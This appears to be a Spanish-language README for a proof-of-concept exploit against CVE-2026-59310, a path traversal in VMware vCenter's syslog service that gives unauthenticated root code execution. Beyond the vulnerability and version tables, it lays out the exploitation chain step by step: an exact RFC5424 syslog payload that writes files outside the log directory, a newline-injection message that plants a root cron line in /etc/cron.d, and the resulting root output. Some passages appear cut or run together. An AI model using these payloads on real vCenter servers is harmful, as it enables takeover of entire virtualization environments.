
PoC y exploit en Python para CVE-2026-59310, un path traversal en el syslog de VMware vCenter que conduce a RCE como root sin autenticación mediante inyección en cron, con guía de detección y limpieza.
Descargo de responsabilidad: Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, validación de vulnerabilidades e investigación defensiva. Úselo en entornos con autorización escrita explícita. El usuario asume toda la responsabilidad por las consecuencias derivadas del mal uso.
| Elemento | Contenido |
|---|---|
| Nombre de la vulnerabilidad | Vulnerabilidad de directory traversal en VMware vCenter Syslog |
| Identificador | CVE-2026-59310 |
| Tipo de vulnerabilidad | Directory Traversal (Path Traversal) → Escritura arbitraria de archivos → Ejecución remota de código |
| CVSS 3.1 | 9.8 (Critical) |
| Requisito previo | Solo se requiere alcanzar el puerto syslog (por defecto UDP/TCP 514), sin credenciales |
| Consecuencia | Escritura en rutas arbitrarias y ejecución de código arbitrario con privilegios root |
| Fecha de divulgación | 2026-07-29 |
| Explotación en la naturaleza | Detectada |
| Aviso del fabricante | VMSA-2026-0006 |
El servicio receptor de syslog integrado en vCenter (rsyslog) utiliza plantillas de ruta dinámica para almacenar los registros; la plantilla concatena directamente los campos APP-NAME y HOSTNAME del encabezado del mensaje en la ruta del archivo, sin realizar saneamiento de rutas. Un atacante puede enviar un mensaje especialmente diseñado al puerto syslog accesible para que la ruta de escritura escape del directorio de registros previsto y, combinándolo con tareas programadas, lograr la ejecución de código arbitrario.
vCenter es el núcleo de gestión de la virtualización; una vez comprometido, equivale a la caída de todo el entorno vSphere / VCF.
Versiones afectadas (inferiores a las siguientes versiones corregidas)
| Rama | Rango afectado | Versión corregida |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versión inicial / U1 | Todas | Actualizar a 8.0 U3k o superior según la ruta soportada |
| 7.0 | Sin el parche de soporte extendido correspondiente | Contactar a Broadcom para obtener el parche, o migrar a una versión soportada |
También afecta: vCenter implementado de forma independiente, así como los componentes vCenter afectados utilizados en VMware Cloud Foundation, VMware vSphere Foundation y VMware Telco Cloud.
Entorno verificado: VMware vCenter Server 9.0.2.0 / Build 25148086, anterior a la versión corregida 25629525, confirmándose como no corregido.
/etc/rsyslog.conf (configuración predeterminada de fábrica de VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% se utiliza simultáneamente como nombre de directorio y nombre de archivo, y no hay saneamiento de rutas.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Solo requiere coincidencia de prefijo; un atacante puede usar rsyslog/... para activar esta regla y entrar en la plantilla de ruta dinámica.
24: $EscapeControlCharactersOnReceive off
Los saltos de línea en el contenido del mensaje se escriben tal cual en disco, lo que permite al atacante controlar la estructura de líneas del archivo escrito.
Este es el punto más propenso a pasar por alto en esta vulnerabilidad.
/ no está permitido por defecto, lo que provoca que APP-NAME se trunque en / → no permite traversal.APP-NAME es un campo independiente separado por espacios, no aplica validación de lista blanca de caracteres; / y .. se conservan tal cual → permite traversal.El lado servidor input(type="imudp" port="514") utiliza el conjunto de reglas predeterminado y acepta mensajes RFC5424. El atacante solo necesita escribir el mensaje en formato RFC5424 para que los caracteres de traversal lleguen directamente a la ruta del archivo.
Comparación práctica (mismo payload rsyslog/../../../../tmp/x):
| Analizador | Valor real de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← truncado en / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← conservado íntegro |
Evidencia indirecta: un
..puro se crea como nombre de directorio literal (por ejemplorsyslog..), lo que indica que la capa omfile de rsyslog no realiza normalización de..; lo que realmente determina el éxito es si el analizador puede introducir/en el campo.
① Paquete UDP sin autenticación → ② APP-NAME de RFC5424 con traversal → ③ Escape del directorio de logs con escritura arbitraria (root)
↓
⑤ Ejecución de código como root ← ④ Implantación de tarea programada en /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Sustituyendo en la plantilla:
Directorio = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Archivo = igual que arriba + "-syslog.log" → /tmp/PWNED-syslog.log
Resultado: se escribe /tmp/PWNED-syslog.log con propietario root, los directorios padre faltantes se crean automáticamente y el contenido es totalmente controlable.
El nombre del archivo escrito termina fijamente en -syslog.log, por lo que no se puede sobrescribir directamente /etc/cron.d/xxx.
Sin embargo, gracias a la penetración de saltos de línea, se puede inyectar un salto de línea en el MSG para hacer que el contenido controlable comience desde la columna 0 del archivo:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reporta "bad minute", se ignora
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← se ejecuta como línea cron válida
#
crond lo programa y ejecuta como root, obteniendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd escucha en 5480),
y luego leerlo a través de https://<target>:5480/..., en consonancia con la descripción del aviso del fabricante./var/spool/cron/root: se puede escribir en ese directorio, pero se requiere que el archivo se llame exactamente root,
lo cual está limitado por el sufijo -syslog.log, por lo que /etc/cron.d/ es más directo.